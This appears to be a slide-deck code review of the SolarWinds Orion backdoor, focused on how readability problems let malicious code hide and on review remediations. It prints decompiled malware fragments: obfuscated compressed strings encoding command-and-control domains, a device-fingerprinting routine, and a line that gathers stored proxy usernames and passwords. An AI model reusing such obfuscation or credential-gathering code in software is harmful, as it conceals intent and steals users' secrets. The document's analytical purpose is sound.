SolarWinds Code Review

By Tristan Gomez and Shayan Jalalipour

Malicious Code

- InventoryManager.cs

- OrionImprovementBusinessLayer.cs

OrionImprovementBusinessLayer.cs

Malicious Code

```
using Microsoft.Win32;
using SolarWinds.Orion.Core.Common.Configuration;
using SolarWinds.Orion.Core.SharedCredentials.Credentials;
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.IO.Pipes;
using System.Linq;
using System.Management;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.ConstrainedExecution;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
```

CoreBusinessLayerPlugin.cs

```
using SolarWinds.BusinessLayerHost.Contract;
using SolarWinds.Common.Utility;
using SolarWinds.InformationService.Contract2.PubSub;
using SolarWinds.InformationService.Linq.Plugins.Core.Orion;
using SolarWinds.Logging;
using SolarWinds.Orion.Channels.Security;
using SolarWinds.Orion.Common;
using SolarWinds.Orion.Common.Models;
using SolarWinds.Orion.Core.Auditing;
using SolarWinds.Orion.Core.BusinessLayer.Agent;
using SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory;
using SolarWinds.Orion.Core.BusinessLayer.DAL;
using SolarWinds.Orion.Core.BusinessLayer.DowntimeMonitoring;
using SolarWinds.Orion.Core.BusinessLayer.Engines;
using SolarWinds.Orion.Core.BusinessLayer.MaintenanceMode;
using SolarWinds.Orion.Core.BusinessLayer.NodeStatus;
using SolarWinds.Orion.Core.BusinessLayer.OneTimeJobs;
using SolarWinds.Orion.Core.BusinessLayer.Thresholds;
using SolarWinds.Orion.Core.CertificateUpdate;
using SolarWinds.Orion.Core.Common;
using SolarWinds.Orion.Core.Common.Configuration;
using SolarWinds.Orion.Core.Common.DALs;
using SolarWinds.Orion.Core.Common.EntityMonitor;
using SolarWinds.Orion.Core.Common.i18n;
using SolarWinds.Orion.Core.Common.IndicationMonitor;
using SolarWinds.Orion.Core.Common.InformationService;
using SolarWinds.Orion.Core.Common.JobEngine;
using SolarWinds.Orion.Core.Common.Models;
using SolarWinds.Orion.Core.Common.Settings;
using SolarWinds.Orion.Core.Common.Swis;
using SolarWinds.Orion.Core.Common.Upgrade;
using SolarWinds.Orion.Core.Discovery;
using SolarWinds.Orion.Core.Discovery.DataAccess;
using SolarWinds.Orion.Core.JobEngine.Routing.ServiceDirectory;
using SolarWinds.Orion.Core.Strings;
using SolarWinds.Orion.ServiceDirectory;
using SolarWinds.Orion.Swis.PubSub.InformationService;
using SolarWinds.ServiceDirectory.Client.Contract;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
```

Clearly Malicious Code

```
ntBusinessLayer.patternList = new string[2]

nentBusinessLayer.ZipHelper.Unzip("07DP1NSIjkvUrYqtidPUKEktLoHzVTQB"),
nentBusinessLayer.ZipHelper.Unzip("07DP1NQozs9JLCrPzEsp1gQA")

ntBusinessLayer.reportStatusName = OrionImprovementBusinessLayer.ZipHelper.Unzip("C0otyC8qCU8s5c5ILQpKLSmqBAA=");
ntBusinessLayer.serviceStatusName = OrionImprovementBusinessLayer.ZipHelper.Unzip("C0otyC8qCU8s5c5ILQrILy4pyM9LBQA=
ntBusinessLayer.userAgentOrionImprovementClient = (string) null;
ntBusinessLayer.userAgentDefault = (string) null;
ntBusinessLayer.apiHost = OrionImprovementBusinessLayer.ZipHelper.Unzip("SyzI1CvOz0ksKs/MSynWS87PBQA=");
ntBusinessLayer.domain1 = OrionImprovementBusinessLayer.ZipHelper.Unzip("SywrLstNzskvTdFLzs8FAA==");
ntBusinessLayer.domain2 = OrionImprovementBusinessLayer.ZipHelper.Unzip("SywoKK7MS9ZNLMgEAA==");
ntBusinessLayer.domain3 = new string[4]

nentBusinessLayer.ZipHelper.Unzip("Sy3VLU8tLtE1BAA="),
nentBusinessLayer.ZipHelper.Unzip("Ky3WLU8tLtE1AgA="),
nentBusinessLayer.ZipHelper.Unzip("Ky3WTU0sLtE1BAA="),
nentBusinessLayer.ZipHelper.Unzip("Ky3WTU0sLtE1AgA=")

ntBusinessLayer.appId = OrionImprovementBusinessLayer.ZipHelper.Unzip("M7UwTkm0NDHVNTNKTNM1NEi10DWxNDOSTbRIMzIwTTY3
ntBusinessLayer.status = OrionImprovementBusinessLayer.ReportStatus.New;
ntBusinessLayer.domain4 = (string) null;
ntBusinessLayer.userId = (byte[]) null;
ntBusinessLayer.instance = (NamedPipeServerStream) null;
ntBusinessLayer.osVersion = (string) null;
ntBusinessLayer.osInfo = (string) null;
```

Problems with Function Chaining

```
return ((IEnumerable<NetworkInterface>) NetworkInterface.GetAllNetworkInterfaces()).Where<NetworkInterface>((Func<NetworkInterface, bool>) (nic => nic.OperationalStatus == OperationalStatus.Up && nic.NetworkInterfaceType != NetworkInterfaceType.Loopback)).Select<NetworkInterface, string>((Func<NetworkInterface, string>) (nic => nic.GetPhysicalAddress().ToString())).FirstOrDefault<string>();
```

Called “ReadDeviceInfo”

Returns network interface addresses

Method Chaining in Legitimate Code (Line 311, CorebusinessLayerPlugin)

... }, (MemberInfo) MethodBase.GetMethodFromHandle(__methodref (\u003C\u003Ef__AnonymousType4<int?, string, string>.get_EngineID), __typeref (\u003C\u003Ef__AnonymousType4<int?, string, string>)), (MemberInfo) MethodBase.GetMethodFromHandle(__methodref (\u003C\u003Ef__AnonymousType4<int?, string, string>.get_ServerName), __typeref (\u003C\u003Ef__AnonymousType4<int?, string, string>)), (MemberInfo) MethodBase.GetMethodFromHandle(__methodref (\u003C\u003Ef__AnonymousType4<int?, string, string>.get_RemoteAgentGuid), __typeref (\u003C\u003Ef__AnonymousType4<int?, string, string>))), parameterExpression1), Expression.Lambda<Func<SolarWinds.InformationService.Linq.Plugins.Core.Orion.Engines, bool>>((Expression) Expression.AndAlso((Expression) Expression.Equal((Expression) Expression.Property((Expression) parameterExpression2, (MethodInfo) MethodBase.GetMethodFromHandle(__methodref (SolarWinds.InformationService.Linq.Plugins.Core.Orion.Engines.get_MasterEngineID))), (Expression) Expression.Convert((Expression) Expression.Field((Expression) Expression.Constant((object) cDisplayClass450, typeof (CoreBusinessLayerPlugin.\u003C\u003Ec__DisplayClass45_0)), FieldInfo.GetFieldFromHandle(__fieldref (CoreBusinessLayerPlugin.\u003C\u003Ec__DisplayClass45_0.masterEngineId))), typeof (int?))), (Expression) Expression.Equal((Expression) Expression.Property((Expression) Expression.Property((Expression) parameterExpression2, (MethodInfo) MethodBase.GetMethodFromHandle(__methodref (SolarWinds.InformationService.Linq.Plugins.Core.Orion.Engines.get_EngineProperties))), (MethodInfo) MethodBase.GetMethodFromHandle(__methodref (EngineProperties.get_PropertyName))), (Expression) Expression.Constant((object) "AgentGuid", typeof (string)))), parameterExpression2), new TimeSpan?()), (Action<M0>) new Action<IReadOnlyList<EntityChangeEvent<\u003C\u003Ef__AnonymousType4<int?, string, string>>>>(cDisplayClass450.\u003CStartEngineServices\u003Eb__2)), (Func<M0, IEnumerable<M1>>) (e => e)), (Action<M0>) (e => CoreBusinessLayerPlugin.log.Info((object) string.Format("Slave Engine change detected {0}", (object) e)))), (Action<M0>) new Action<EntityChangeEvent<\u003C\u003Ef__AnonymousType4<int?, string, string>>>(cDisplayClass450.\u003CStartEngineServices\u003Eb__5));

? vs ?? The Ternary operator

Condition ? Consequent : Alternative

If the condition is true, execute the consequent, otherwise execute the alternative. The entire expression is evaluated to be strictly as either the result of the consequent or the alternative.

Res = Operand1 ?? Operand2 Is equivalent to:

Res = Operand1 != null ? Operand1 : Operand2

Example

```
return (foo ?? bar) ?? splat;
```

Returns the first item that is not null between foo, bar, and splat

In the Code Base: Malicious Example

```
this.proxyString = this.proxyString + ":" + instance.Uri + "\t" + (instance.Credential is UsernamePasswordCredential credential15 ? credential15.Username : (string) null) + "\t" + (instance.Credential is UsernamePasswordCredential credential16 ? credential16.Password : (string) null);
```

Green is off page, red is off

In the Code Base: Legitimate Example

```
private string
GetSettingsForTask(SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.
BackgroundInventory.InventoryTask task) => task.InventoryInput !=
SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.BackgroundInventor
y.InventoryTask.InventoryInputSource.NodeSettings ?
InventorySettingsDAL.GetInventorySettings(task.ObjectSettingID,
task.InventorySettingName) :
NodeSettingsDAL.GetNodeSettings(task.ObjectSettingID,
task.InventorySettingName);
```

Problematic naming conventions

SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.BackgroundInventory.InventoryTask.InventoryInputSource.NodeSettings

(123 characters)

InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState

(92 characters)

“Filler Words”

- ‘Background’ - 147
- ‘Layer’ - 1013
- ‘Inventory’ - 301
- ‘Business’ - 974

Remediations from a Code Review Standpoint

Goals:

Make it as hard as possible for malicious code to hide in plain sight.

Make it easier to determine the intention of methods.

Create consistency across method implementations, method naming, and variable naming conventions.

Actionable Items

Reduce method chaining to a more manageable level.

Refactor code to remove filler words from all names.

Change variable names to self-documenting(i.e not ‘flag1’).

Change method names to use action verbs.

Minimally once a year review of entire code base.

Thank You!